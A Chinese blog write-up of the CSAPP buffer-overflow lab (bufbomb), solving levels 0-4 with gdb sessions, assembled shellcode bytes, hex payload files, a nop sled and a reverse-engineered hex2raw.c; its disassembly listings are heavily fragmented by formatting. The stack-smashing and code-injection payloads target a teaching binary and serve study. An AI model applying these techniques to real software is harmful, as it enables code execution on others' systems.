CSAPP实验之BUFBOMB

Wesley13
• 阅读 1104

这个实验主要是模拟缓冲区溢出。实验中涉及到3个可执行的二进制文件bufbomb,hex2raw,makecookie。bufbomb是进行缓冲区实验的目标程序;既然是缓冲区溢出实验,肯定得有一个导致缓冲区溢出的条件,这个实验是通过类似于c语言中的gets函数的Gets读取一行数据到固定大小的缓冲区,而当我们的输入超过了缓冲区的大小时,Gets没有任何的边界检查,超过缓冲区的数据就会覆盖内存中用作其它用途的数据,从而改变程序的行为,而如果gets从终端读取时,无法输入一些不可打印的数据,比如想输入控制字符0x09,于是就有了hex2raw这个程序,这个程序将16进制表示的字节转换成二进制字节数据,工作方式可用下面程序表示:

char c;
  while (scanf("%x", &c) != EOF) {
    fwrite(&c, 1, 1, stdout) != 1);
  }
  c = '\n';
  fwrite(&c, 1, 1, stdout);

该文后面有对hex2raw二进制程序的逆向工作,得到源程序hex2raw.c,我从csapp官网下开的实验中的hex2raw是64位的二进制程序,而bufbomb,makecookie又是32位程序,所以估计是在64位机上加-m32选项生成的32位程序。最后的fwrite写入换行符表示行输入结束。而makecookie主要是为了防止学生直接copy别人答案用的,每个学生有一个唯一的提交作业的userid,makecookie为不同的userid计算出不同的cookie值。userid要通过命令行参数传给bufbomb,实验中我们在内存某个区域中用自己的cookie值覆盖原来的数据,bufbomb中会有一个validate函数的调用来比对传入的cookie值与命令行传入的userid计算得出的cookie是否相等,如果相等,作业是有效的,否则作业是无效的。

bufbomb程序中调用getbuf函数从标准输入读取一个字符串,getbuf函数定义如下:

/* Buffer size for getbuf */
#define NORMAL_BUFFER_SIZE 32

int getbuf()
{
    char buf[NORMAL_BUFFER_SIZE];
    Gets(buf);
    return 1;
}

bufbomb不加-n选项表示每次运行bufbomb程序时,test函数被调用时栈指针值每次都是一样的,不会改变,通过gdb查看到的esp与实际运行时一致,而加了-n选项时,栈指针值是不确定的,会在一个范围内变化。
Gets函数类似于标准库函数gets,无法判断buf是否能存下输入的字符串,仅仅只是将输入的字符串copy到以buf为首地址的内存中,可能超过分配的目的缓冲区。
这个作业分几个实验:

Level 0(10分)
bufbomb中的test函数中调用了getbuf函数

void test() {
  int val;
  /* Put canary on stack to detect possible corruption */
  volatile int local = uniqueval();

  val = getbuf();

  /* Check for corruption stack */
  if (local != uniqueval()) {
    printf("Sabotaged!: the stack has been corrupted\n");
  }
  else if (val == cookie) {
    printf("Boom!: getbuf returned 0x%x\n", val);
    validate(3);
  } else {
    printf("Dud: getbuf returned 0x%x\n", val);
  }
}

而bufbomb中还有一个函数smoke

void smoke() {
  puts("Smoke!: You called smoke()");
  validate(0);
  exit(0);
}

我们的任务是当程序在执行完getbuf后返回时不返回到test函数中而是去执行smoke函数并退出。
反汇编bufbomb可以得到getbuf函数的汇编代码:

    08048c04
 
    
     <getbuf>:
 8
 
    
    048c04
 
    
    :    
 
    
    55
 
    
                           
 
    
    push
 
    
       %ebp
 8
 
    
    048c05
 
    
    :    
 
    
    89
 
    
     e5                    
 
    
    mov
 
    
        %esp,%ebp
 8
 
    
    048c07
 
    
    :    
 
    
    83
 
    
     ec 
 
    
    38
 
    
                     
 
    
    sub
 
    
        $0x38,%esp
 8
 
    
    048c0a
 
    
    :    8d 
 
    
    45
 
    
     d8                 
 
    
    lea
 
    
        -0x28(%ebp),%eax 
 
    
    ;
 
    
    buf
 
    
    

 
    
     8
 
    
    048c0d
 
    
    :    
 
    
    89
 
    
     
 
    
    04
 
    
     
 
    
    24
 
    
                     
 
    
    mov
 
    
        %eax,(%esp)
 8
 
    
    048c10
 
    
    :    e8 
 
    
    35
 
    
     ff ff ff           
 
    
    call
 
    
       8
 
    
    048b4a
 
    
     <Gets>
 8
 
    
    048c15
 
    
    :    b8 
 
    
    01
 
    
     
 
    
    00
 
    
     
 
    
    00
 
    
     
 
    
    00
 
    
               
 
    
    mov
 
    
        $0x1,%eax
 8
 
    
    048c1a
 
    
    :    c9                       
 
    
    leave
 
    
      
 8
 
    
    048c1b
 
    
    :    c3                       
 
    
    ret
 
    
        


   
   

则执行getbuf函数时,栈帧内容就应该是这样的:
CSAPP实验之BUFBOMB

当执行Gets时,要让程序不返回调用函数test,getbuf返回地址是指函数getbuf执行完后,跳转到这个地址处继续执行,我们应该将getbuf返回地址处的内容改成smoke函数的地址,查看bufbomb的反汇编代码smoke的函数的起始地址为0x080490ba,从buf的起始地址到返回地址总共有48个字节,前44个字节的内容无关重要,但最后4个字节我们要填入0x080490ba,由于Gets是通过换行符\n(ASCII值0x0a)界定输入终止的,所以前44个字节只要保证不含\n就行了。可以新建一个文本文档smoke-gallant.txt,内容如下:

30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39
30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39
30 31 32 33
ba 90 04 08

我们用的电脑基本上都是x86的处理器,是小端序,也即低有效字节位于低地址端,最后一个字是0x080490ba,从低地址到高地址就应该是ba 90 04 08。通过Linux的管道机制

./hex2raw < smoke-gallant.txt | ./bufbomb -u gallant
$ ./hex2raw < smoke-gallant.txt | ./bufbomb -u gallant
Userid: gallant
Cookie: 0x5436c64b
Type string:Smoke!: You called smoke()
VALID
NICE JOB!

这个实验中实际上没有用到我们的userid来计算cookie比对。

Level 1(10分)
bufbomb可执行文件中有一个函数fizz:

void fizz(int val) {
  if (val == cookie) {
    printf("Fizz!: You called fizz(0x%x)\n", val);
    validate(1);
  }
  else 
    printf("Misfire: You called fizz(0x%x)\n", val);

  exit(0);
}

与上一个任务类似,但是现在我们必须把我们自己的cookie值当参数传递给fizz函数,通过makecookie计算出userid的cookie值

$ ./makecookie gallant
0x5436c64b

fizz函数的首地址为0x0804906f,除了要将这个值用相同的方式输入到getbuf中返回地址处外,还应将cookie值0x5436c64b输入到在fizz函数中fizz函数返回地址的上一个4字节处。
CSAPP实验之BUFBOMB

新建文本文档fizz-gallant.txt输入以下内容:

30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39
30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39
30 31 32 33
6f 90 04 08
30 31 32 33
4b c6 36 54

fizz函数的地址值和cookie值是不能变的,其它的只要不是0a就行了

$ ./hex2raw < fizz-gallant.txt | ./bufbomb -u gallant
Userid: gallant
Cookie: 0x5436c64b
Type string:Fizz!: You called fizz(0x5436c64b)
VALID
NICE JOB!

这个时候cookie值就起作用了,当我们直接copy别人的答案,交作业只能用自己的名字

$ ./hex2raw < fizz-gallant.txt | ./bufbomb -u myname
Userid: myname
Cookie: 0x2d684f9b
Type string:Misfire: You called fizz(0x5436c64b)

这就不是一个valid的作业!

Level 2(15分)
bufbomb文件中有一个函数bang

int global_value = 0;
void bang(int val) {
  if (global_value == cookie) {
    printf("Bang!: You set global_value to 0x%x\n", global_value);
    validate(2);
  }
  else
    printf("Misfire: global_value = 0x%x\n", global_value);

  exit(0);
}

任务是getbuf不返回到test,而是执行bang函数,但是我们之前要修改global_value的值为cookie值。在程序运行期间要修改全局变量的值,全局变量没有存储在栈里面,所以我们只能通过执行赋值指令方式改变global_value的值。让程序跳转到栈中某个我们写入了指令的地址,报告完后返回,也即模拟一个函数调用,这个函数的可执行代码位于栈中。
通过查看bang的反汇编代码与C语言代码对比

    08049022
 
    
     <bang>:
 
 
    
    8049022
 
    
    :    
 
    
    55
 
    
                           
 
    
    push
 
    
       %ebp
 
 
    
    8049023
 
    
    :    
 
    
    89
 
    
     e5                    
 
    
    mov
 
    
        %esp,%ebp
 
 
    
    8049025
 
    
    :    
 
    
    83
 
    
     ec 
 
    
    18
 
    
                     
 
    
    sub
 
    
        $0x18,%esp
 
 
    
    8049028
 
    
    :    a1 ec c1 
 
    
    04
 
    
     
 
    
    08
 
    
               
 
    
    mov
 
    
        0x804c1ec,%eax 
 
    
    ;
 
    
    global_value
 
    
    

 
    
     8
 
    
    04902d
 
    
    :    3b 
 
    
    05
 
    
     e4 c1 
 
    
    04
 
    
     
 
    
    08
 
    
            
 
    
    cmp
 
    
        0x804c1e4,%eax 
 
    
    ;
 
    
    cookie
 
    
    

 
    
     
 
    
    8049033
 
    
    :    
 
    
    75
 
    
     1e                    
 
    
    jne
 
    
        
 
    
    8049053
 
    
     <bang+0x31>
 
 
    
    8049035
 
    
    :    
 
    
    89
 
    
     
 
    
    44
 
    
     
 
    
    24
 
    
     
 
    
    04
 
    
                  
 
    
    mov
 
    
        %eax,0x4(%esp)
 
 
    
    8049039
 
    
    :    c7 
 
    
    04
 
    
     
 
    
    24
 
    
     
 
    
    90
 
    
     a1 
 
    
    04
 
    
     
 
    
    08
 
    
         movl   $0x804a190,(%esp)
 
 
    
    8049040
 
    
    :    e8 9b f8 ff ff           
 
    
    call
 
    
       8
 
    
    0488e0
 
    
     <printf@plt>


   
   

知道global_value的地址为0x804c1ec,当然通过objdump显示符号表中也能直接知道global_value的存储地址,改变global_value值为cookie值可以用汇编表示:

    movl $0x5436c64b, %eax  
 
    
    ;
 
    
    将cookie值存入eax寄存器
 
    
    

 
    
    movl $0x804c1ec, %ecx   
 
    
    ;
 
    
    将global_value的地址存入ecx寄存器
 
    
    

 
    
    movl %eax, (%ecx)       
 
    
    ;
 
    
    cookie值存到了global_value中
 
    
    

 
    
    ret
 
    
                         
 
    
    ;
 
    
    通过ret调用改变eip转到bang函数中
 
    
    


   
   

将以上这4条代码保存到文件bang_gallant.s中

    $ as bang_gallant.s -o bang_gallant.o
$ objdump -d bang_gallant.o 

bang_gallant.
 
    
    o:
 
    
         file format elf32-i386


Disassembly of section .
 
    
    text:
 
    
    


 
    
    00000000
 
    
     <.text>:
   
 
    
    0
 
    
    :   b8 4b c6 
 
    
    36
 
    
     
 
    
    54
 
    
              
 
    
    mov
 
    
        $0x5436c64b,%eax
   
 
    
    5
 
    
    :   b9 ec c1 
 
    
    04
 
    
     
 
    
    08
 
    
              
 
    
    mov
 
    
        $0x804c1ec,%ecx
   
 
    
    a:
 
    
       
 
    
    89
 
    
     
 
    
    01
 
    
                       
 
    
    mov
 
    
        %eax,(%ecx)
   
 
    
    c:
 
    
       c3                      
 
    
    ret
 
    
        


   
   

把这段代码放在从buf中,并把栈设置成
CSAPP实验之BUFBOMB

getbuf执行完后的返回地址改成buf的首地址,上一个栈的4字节改成bang函数的地址,这样当在getbuf中调用ret返回时程序会跳转到buf处报告上面的指令,出现ret时会跳转到bang函数中执行。
getbuf中的buf位于栈中,而buf的位置不是绝对地址,我们只能通过gdb来查看buf的地址值,在我的电脑上:

$uname -mro
3.6.9-1-ARCH i686 GNU/Linux
$ gdb --quiet ./bufbomb
Reading symbols from /home/gallant/workspace/csapp/labs/buflab-handout/bufbomb...(no debugging symbols found)...done.
(gdb) break getbuf
Breakpoint 1 at 0x8048c0a
(gdb) run -u gallant
Starting program: /home/gallant/workspace/csapp/labs/buflab-handout/bufbomb -u gallant
warning: Could not load shared library symbols for linux-gate.so.1.
Do you need "set solib-search-path" or "set sysroot"?
Userid: gallant
Cookie: 0x5436c64b

Breakpoint 1, 0x08048c0a in getbuf ()
(gdb) print /x ($ebp-0x28)
$1 = 0x55683408
(gdb)

这样知道了buf的在我的电脑中运行时首地址为0x55683408
新建文件bang-gallant.txt写入以下内容:

b8 4b c6 36 54 b9 ec c1 04 08 89 01 c3
30 31 32 33 34 35 36 37 38 39
30 31 32 33 34 35 36 37 38 39
30 31 32 33 34 35 36 37 38 39
30
08 34 68 55 22 90 04 08

前13个字节是代码,后面的31个是填充用的,接下来8字节分别是buf的首地址和bang函数的入口地址

$ ./hex2raw < bang-gallant.txt | ./bufbomb -u gallant
Userid: gallant
Cookie: 0x5436c64b
Type string:Bang!: You set global_value to 0x5436c64b
VALID
NICE JOB!

之前的实验都是破坏了栈的状态而跳转到另一个程序中执行并退出,这个实验要求程序要正常返回到test执行,并且改变返回值为cookie的值,且不能破坏test函数的栈状态。
同样可以用上一个实验的方式,但我们在执行时要把破坏的栈恢复过来,并直接返回到test
在getbuf返回地址中填充buf的首地址,当getbuf函数碰到返回指令ret时,将跳转到buf处执行,此时esp寄存器指向getbuf返回地址的高一个字节

    movl $0x5436c64b, %eax  
 
    
    ;
 
    
    返回cookie值
 
    
    

 
    
    pushl $0x8048c93        
 
    
    ;
 
    
    返回地址指向test中的getbuf调用后一条指令
 
    
    

 
    
    ret
 
    
                         
 
    
    ;
 
    
    返回test继续执行
 
    
    


   
   

新建文件level3-gallant.s写入上面3条指令,执行

    $ as level3-gallant.s -o level3-gallant.o 
$ objdump -d level3-gallant.o 

level3-gallant.
 
    
    o:
 
    
         file format elf32-i386


Disassembly of section .
 
    
    text:
 
    
    


 
    
    00000000
 
    
     <.text>:
   
 
    
    0
 
    
    :   b8 4b c6 
 
    
    36
 
    
     
 
    
    54
 
    
              
 
    
    mov
 
    
        $0x5436c64b,%eax
   
 
    
    5
 
    
    :   
 
    
    68
 
    
     
 
    
    93
 
    
     8c 
 
    
    04
 
    
     
 
    
    08
 
    
              
 
    
    push
 
    
       $0x8048c93
   
 
    
    a:
 
    
       c3                      
 
    
    ret
 
    
        


   
   

由于我们在覆盖getbuf返回地址时会覆盖保存的ebp寄存器的值,通过gdb得到保存的epb寄存器的值

$ gdb --quiet ./bufbomb
Reading symbols from /home/gallant/workspace/csapp/labs/buflab-handout/bufbomb...(no debugging symbols found)...done.
(gdb) break getbuf
Breakpoint 1 at 0x8048c0a
(gdb) run -u gallant
Starting program: /home/gallant/workspace/csapp/labs/buflab-handout/bufbomb -u gallant
warning: Could not load shared library symbols for linux-gate.so.1.
Do you need "set solib-search-path" or "set sysroot"?
Userid: gallant
Cookie: 0x5436c64b

Breakpoint 1, 0x08048c0a in getbuf ()
(gdb) print /x *(int*)($ebp)
$1 = 0x55683460

新建文件level3-gallant.txt,输入以下内容

b8 4b c6 36 54
68 93 8c 04 08
c3
30 31 32 33 34 35 36 37 38 39
30 31 32 33 34 35 36 37 38 39
30 31 32 33 34 35 36 37 38
60 34 68 55
08 34 68 55

前11个字节是代码,接着29字节填充,4个字节的保存的ebp寄存器值,后4个字节是buf首地址

$ ./hex2raw < level3-gallant.txt | ./bufbomb -u gallant
Userid: gallant
Cookie: 0x5436c64b
Type string:Boom!: getbuf returned 0x5436c64b
VALID
NICE JOB!

Level 4(10分)

前几个实验中,调用test时栈指针均是不变的,但是这时我们给bufbomb加-n选项,这样main中调用testn而不是test,在testn在调用getbufn,这时栈底是不固定的,会在一定范围内变化,完成上一个实验相同的任务,但是这个实验中会调用testn五次,每次调用时栈指针都不同。
函数testn中调用getbufn时前代码:

    08048c1c
 
    
     <testn>:
 8
 
    
    048c1c
 
    
    :    
 
    
    55
 
    
                           
 
    
    push
 
    
       %ebp
 8
 
    
    048c1d
 
    
    :    
 
    
    89
 
    
     e5                    
 
    
    mov
 
    
        %esp,%ebp
 8
 
    
    048c1f
 
    
    :    
 
    
    83
 
    
     ec 
 
    
    28
 
    
                     
 
    
    sub
 
    
        $0x28,%esp
 8
 
    
    048c22
 
    
    :    c7 
 
    
    45
 
    
     f4 ef be ad de     movl   $0xdeadbeef,-0xc(%ebp)
 8
 
    
    048c29
 
    
    :    e8 b8 ff ff ff           
 
    
    call
 
    
       8
 
    
    048be6
 
    
     <getbufn>


   
   

在调用getbufn时,ebp内容比esp内容大0x28,在函数getbufn中

    08048be6
 
    
     <getbufn>:
 8
 
    
    048be6
 
    
    :    
 
    
    55
 
    
                           
 
    
    push
 
    
       %ebp
 8
 
    
    048be7
 
    
    :    
 
    
    89
 
    
     e5                    
 
    
    mov
 
    
        %esp,%ebp
 8
 
    
    048be9
 
    
    :    
 
    
    81
 
    
     ec 
 
    
    18
 
    
     
 
    
    02
 
    
     
 
    
    00
 
    
     
 
    
    00
 
    
            
 
    
    sub
 
    
        $0x218,%esp
 8
 
    
    048bef
 
    
    :    8d 
 
    
    85
 
    
     f8 fd ff ff        
 
    
    lea
 
    
        -0x208(%ebp),%eax
 8
 
    
    048bf5
 
    
    :    
 
    
    89
 
    
     
 
    
    04
 
    
     
 
    
    24
 
    
                     
 
    
    mov
 
    
        %eax,(%esp)
 8
 
    
    048bf8
 
    
    :    e8 4d ff ff ff           
 
    
    call
 
    
       8
 
    
    048b4a
 
    
     <Gets>
 8
 
    
    048bfd
 
    
    :    b8 
 
    
    01
 
    
     
 
    
    00
 
    
     
 
    
    00
 
    
     
 
    
    00
 
    
               
 
    
    mov
 
    
        $0x1,%eax
 8
 
    
    048c02
 
    
    :    c9                       
 
    
    leave
 
    
      
 8
 
    
    048c03
 
    
    :    c3                       
 
    
    ret
 
    
        



   
   

保存的ebp的值就是testn函数中值,当执行完ret后,通过执行
lea 0x28(%esp), %ebp
恢复ebp内容

    lea
 
    
     0x28(%esp), %ebp    
 
    
    ;
 
    
    恢复ebp寄存器内容
 
    
    

 
    
    movl $0x5436c64b, %eax  
 
    
    ;
 
    
    返回cookie值
 
    
    

 
    
    pushl $0x8048c2e        
 
    
    ;
 
    
    返回地址指向testn中的getbufn调用后一条指令
 
    
    

 
    
    ret
 
    
                         
 
    
    ;
 
    
    返回testn继续执行
 
    
    

 
    
    


   
   

新建文件level4-gallant.s写入以下代码编译后再反汇编得到:

    00000000
 
    
     <.text>:
   
 
    
    0
 
    
    :   8d 6c 
 
    
    24
 
    
     
 
    
    28
 
    
                 
 
    
    lea
 
    
        0x28(%esp),%ebp
   
 
    
    4
 
    
    :   b8 4b c6 
 
    
    36
 
    
     
 
    
    54
 
    
              
 
    
    mov
 
    
        $0x5436c64b,%eax
   
 
    
    9
 
    
    :   
 
    
    68
 
    
     2e 8c 
 
    
    04
 
    
     
 
    
    08
 
    
              
 
    
    push
 
    
       $0x8048c2e
   
 
    
    e:
 
    
       c3                      
 
    
    ret
 
    
        


   
   

共15字节,新建文件level4-gallant.txt

90 90 90 ... 90 ( 505个90(nop) )
8d 6c 24 28
b8 4b c6 36 54
68 2e 8c 04 08
c3
30 31 32 33
98 32 68 55

前505字节的90,即机器指令空操作nop,紧跟着15字节指令,4字节填充,也可以直接在前面用509个空指令,15字节指令后移4字节,然后是指向buf中某个字节的地址,要保证总是指向buf到15字节之间(包括边界),通过gdb测试buf首地址:

(gdb) break getbufn
Breakpoint 1 at 0x8048bef
(gdb) run -n -u gallant
Starting program: /home/gallant/workspace/csapp/labs/buflab-handout/bufbomb -n -u gallant
warning: Could not load shared library symbols for linux-gate.so.1.
Do you need "set solib-search-path" or "set sysroot"?
Userid: gallant
Cookie: 0x5436c64b

Breakpoint 1, 0x08048bef in getbufn ()
(gdb) print /x ($ebp-0x208)
$1 = 0x55683228
(gdb) continue
Continuing.
Type string:hello
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x08048bef in getbufn ()
(gdb) print /x ($ebp-0x208)
$2 = 0x55683208
(gdb) continue
Continuing.
Type string:hello
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x08048bef in getbufn ()
(gdb) print /x ($ebp-0x208)
$3 = 0x55683288
(gdb) continue
Continuing.
Type string:hello 
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x08048bef in getbufn ()
(gdb) print /x ($ebp-0x208)
$4 = 0x55683268
(gdb) continue
Continuing.
Type string:hello
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x08048bef in getbufn ()
(gdb) print /x ($ebp-0x208)
$5 = 0x55683298
(gdb) continue
Continuing.
Type string:hello
Dud: getbufn returned 0x1
Better luck next time
[Inferior 1 (process 401) exited normally]
(gdb)

得到5个地址中最大值为0x55683298,取这个地址在我的电脑上能够完成要求。

$ cat level4-gallant.txt | ./hex2raw -n | ./bufbomb -n -u gallant
Userid: gallant
Cookie: 0x5436c64b
Type string:KABOOM!: getbufn returned 0x5436c64b
Keep going
Type string:KABOOM!: getbufn returned 0x5436c64b
Keep going
Type string:KABOOM!: getbufn returned 0x5436c64b
Keep going
Type string:KABOOM!: getbufn returned 0x5436c64b
Keep going
Type string:KABOOM!: getbufn returned 0x5436c64b
VALID
NICE JOB!

由于我的实验系统是VMware player中的Arch Linux 32位虚拟机,不能运行csapp网站上下载的hex2raw的64位版本,将64位hex2raw可执行程序逆向得到源程序:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <unistd.h>

void usage(const char *prog);
char *convert_to_byte_string(FILE *fp, int *plen);

int main(int argc, char **argv) {
  int option;
  int repeat = 1;
  int count;
  char *buf = NULL;
  char ch;

  while ((option = getopt(argc, argv, "nh")) != -1) {
    if (option == 'h') {
      usage(argv[0]);
      return 0;
    }
    else if (option == 'n') {
      repeat = 5;
    }
    else {
      usage(argv[0]);
      return -1;
    }
  }

  buf = convert_to_byte_string(stdin, &count);
  if (buf == NULL)
    return -1;

  ch = '\n';
  while (repeat-- > 0) {
    write(1, buf, count); /* stdout */
    write(1, &ch, 1);
  }

  return 0;
}

int convert_to_hex_value(const char *hexstr) {
  int val;
  sscanf(hexstr, "%x", &val);
  return val;
}

void usage(const char *prog) {
  printf("usage: %s [-n] [-h]\n", prog);
  puts(" -n Nitro mode");
  puts(" -h Print this help message");
}

char *convert_to_byte_string(FILE *fp, int *plen) {
  FILE *fin = fp;
  char *buf = NULL;
  char comment_start[] = "/*";
  char comment_end[] = "*/";
  char str[1024];
  int cnt = 0;
  int num = 0;
  int maxline = 1024;

  if ((buf = malloc(maxline)) == NULL)
    return NULL;

  while (fscanf(fin, "%s", str) > 0) {
    if (!strcmp(str, comment_start)) {
      cnt++;
      continue;
    }
    else if (!strcmp(str, comment_end)) {
      if (cnt > 0)
        cnt--;
      else {
        fprintf(stderr, "Error: stray %s found.\n", comment_end);
        free(buf);
        buf = NULL;
        return NULL;
      }
    }
    else {
      if (cnt == 0) { /* not comment */
        if (isxdigit(str[0]) && isxdigit(str[1]) && str[2] == '\0') {
          if (num == maxline) {
            maxline *= 2;
            buf = realloc(buf, maxline);
            if (buf == NULL)
              return NULL;
          }
          buf[num++] = convert_to_hex_value(str);
        }
        else {
          fprintf(stderr,"Invalid hex value [%s]. Please specify only "
              "single byte hex values separated by whitespace.\n", str);
          free(buf);
          buf = NULL;
          return NULL;
        }
      }
    }
  }

  *plen = num;
  return buf;
}

逆向这个完全是因为我想看下64位的可执行程序的结构^_^,可以看到这个程序支持/* */注释,当然/*及*/前后应该都要有空格

点赞
收藏
评论区
推荐文章
blmius blmius
3年前
MySQL:[Err] 1292 - Incorrect datetime value: ‘0000-00-00 00:00:00‘ for column ‘CREATE_TIME‘ at row 1
文章目录问题用navicat导入数据时,报错:原因这是因为当前的MySQL不支持datetime为0的情况。解决修改sql\mode:sql\mode:SQLMode定义了MySQL应支持的SQL语法、数据校验等,这样可以更容易地在不同的环境中使用MySQL。全局s
待兔 待兔
4个月前
手写Java HashMap源码
HashMap的使用教程HashMap的使用教程HashMap的使用教程HashMap的使用教程HashMap的使用教程22
Wesley13 Wesley13
3年前
C++动态数组中的C6385, C6386警告
警告C6385从“m”中读取的数据无效:可读大小为“colsizeof(int)”个字节,但可能读取了“8”个字节。警告C6386写入到“m”时缓冲区溢出:可写大小为“colsizeof(int)”个字节,但可能写入了“8”个字节这两个警告都与动态数组的可变大小与实际使用的下标有关如以下代码voidKnap
Wesley13 Wesley13
3年前
udp之关于linux udp收发包缓冲区大小
1、修订单个socket的缓冲区大小:通过setsockopt使用SO\_RCVBUF来设置接收缓冲区,该参数在设置的时候不会与rmem\_max进行对比校验,但是如果设置的大小超过rmem\_max的话,则超过rmem\_max的部分不会生效;2、修订linux系统udp缓冲区大小:通过rmem\_max来设置系统中udp缓存的上限,该值可通过如下方
Wesley13 Wesley13
3年前
Java NIO 三大组件之 Channel
JavaNIO之Channel一、什么是ChannelChannel用于源节点(例如磁盘)与目的节点的连接,它可以进行读取,写入,映射和读/写文件等操作。在JavaNIO中负责缓冲区中数据的传输。Channel本省不存储数据,因此需要配合缓冲区进行传输。(个人理解其实就是相当于保存两通信地间的
Wesley13 Wesley13
3年前
NIO通道(channel)原理与获取
一、通道(Channel):用于源节点与目标节点的连接。在javaNIO中负责缓冲区中数据的传输。Channel本身不存储数据,因此需要配合缓冲区进行传输。二、通道的主要实现类java.nio.channels.Channel接口:|–FileChannel|–SocketChannel|–ServerSocketCha
Stella981 Stella981
3年前
FreeType 2.4.9之前版本多个远程漏洞(CVE
漏洞描述FreeType是一个流行的字体函数库。FreeType2.4.9之前版本在实现上存在多个堆缓冲区溢出漏洞、栈缓冲区溢出漏洞和拒绝服务漏洞,远程攻击者可利用这些漏洞执行任意代码或造成拒绝服务。解决方法以下是各Linux/Unix发行版系统针对此漏洞发布的安全公告,可以参考对应系统的安全公告修复该漏洞:Ubuntu\
Wesley13 Wesley13
3年前
JAVA NIO 直接缓冲区和非直接缓冲区
前面我们一直说NIO能够提高性能,那么到底如何提高效率。本篇就接着上一篇文章的缓冲区,来看看直接缓冲区和非直接缓冲区。非直接缓冲区首先看看非直接缓冲区。我们之前说过NIO通过通道连接磁盘文件与应用程序,通过缓冲区存取数据进行双向的数据传输。物理磁盘的存取是操作系统进行管理的,与物理磁盘的数据操作需要经过内核地址空间;而我们的Java应用
Wesley13 Wesley13
3年前
C语言缓冲区溢出详解
!(https://oscimg.oschina.net/oscnet/7c4c90c77f9d449a96c032d9d3e9f318.jpg)1引言“缓冲区溢出”对现代操作系统与编译器来讲已经不是什么大问题,但是作为一个合格的C/C程序员,还是完全有必要了解它的整个细节。计算机程序一般都会使用到一些内存,这些内
Python进阶者 Python进阶者
10个月前
Excel中这日期老是出来00:00:00,怎么用Pandas把这个去除
大家好,我是皮皮。一、前言前几天在Python白银交流群【上海新年人】问了一个Pandas数据筛选的问题。问题如下:这日期老是出来00:00:00,怎么把这个去除。二、实现过程后来【论草莓如何成为冻干莓】给了一个思路和代码如下:pd.toexcel之前把这